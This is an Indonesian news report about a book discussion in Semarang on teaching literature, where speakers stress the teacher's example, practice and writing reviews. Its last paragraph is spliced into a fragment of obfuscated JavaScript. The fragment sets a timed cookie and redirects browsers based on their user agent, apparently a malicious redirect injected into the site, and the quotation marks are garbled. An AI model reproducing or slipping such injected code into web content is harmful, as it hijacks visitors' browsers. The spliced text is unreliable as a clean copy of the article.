Kunci Pengajaran Sastra ada pada Guru

Seorang anak cenderung mengerjakan apa yang dicontohkan gurunya. Dalam mengarang, misalnya. Jika guru hanya memberi contoh karangan seputar tema ibu, ayah, dan guru, maka siswa pun jika disuruh untuk menulis puisi akan cenderung menulis tema-tema yang dicontohkan gurunya.

ai???Kunci pengajaran sastra ada pada pendidik,ai??? ungkap Arif Fitra Kurniawan, sastrawan muda Semarang dalam acara bedah Bedah Buku dan Ngangsu Kawruh buku USAI: Membaca dan Menulis (Jagat Abjad, 2016) karya Widyanuari Eko Putra yang diselenggarakan oleh Program Pascasarjana PBSI UPGRIS di Gedung Pasca lantai 5 (2/4). Dalam acara tersebut turut hadir pembicara Turahmat MPd, pemerhati bahasa Indonesia sekaligus aktivis teater di Semarang, dan Ahmad Ripai MPd, akademisi dari Universitas PGRI Semarang, sebagai moderator.

Arif mengutarakan temuannya setelah melakukan beberapa penelitian di sekolah-sekolah dasar di Semarang. Ketika siswa disuruh membuat puisi, mereka lantas menulis tema yang sama persis dicontohkan gurunya. Namun ketika siswa diberi sampel puisi yang bercerita tentang tema-tema lain, siswa pun akan terpantik untuk ikut menulis tema-tema lainnya.

Arif menekankan bahwa guru mesti memperbanyak buku-buku bacaan sastra.Cara memahami buku pun bisa dilakukan dengan cara meresensi buku. Dengan demikian, penyair yang telah menerbitkan buku puisi Eskapis (2013) ini pun mengapresiasi terbitnya buku kumpulan resensi USAI: Membaca dan Menulis yang terbilang cukup jarang ditekuni oleh para penulis.

Dalam kesempatan yang sama, Turahmat justru menyoroti beberapa pertanyaan dari guru yang hadir dalam acara tersebut, yaitu terkait persoalan bakat dan keterampilan dalam membuat karya sastra. Turahmat tidak setuju jika kemampuan menulis karya sastra disebabkan oleh bakat sejak lahir.

Turahmat justru menganggap peran guru dan latihan yang rutinlah yang mengasah kemampuan anak dalam bersastra. Selain itu tentunya juga pembiasaan membaca buku sejak kecil. Selain guru, hadir pula beberapa hadirin dari pers mahasiswa, aktivis teater, penulis muda Semarang, guru, mahasiswa pascasarjana UPGRIS.

Dalam sambutannya, Kepala Progdi Pascasarjana PBSI UPGRIS Dr Harjito MHum menganggap bahwa pembukuan resensi masih jarang ditelateni oleh penulis. Padahal resensi merupakan cara pembaca mengawetkan hasil pembacaannya.

Dosen sekaligus kritikus sastra media itu menganggap penulisan resensi bisa dijadikan alternatif untuk membuat siswa, pelajar, mahasiswa, bahkan khalayak umum untuk gemar membaca.

Buku USAI: Membaca dan Menulis bisa menjadi rujukan belajar menulis resensi. Apalagi buku tersebut memang merangkum resensi dari pelbagai tema, mulai dari puisi, cerpen, novel, hingga buku esai. Sehingga memudahkan pembaca dalam mempelajarinya. Widyanuari menulis resensi sejak tahun 2013, dan sudah dimuat di pelbagai media nasional maupun lokal. [8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Leave a Reply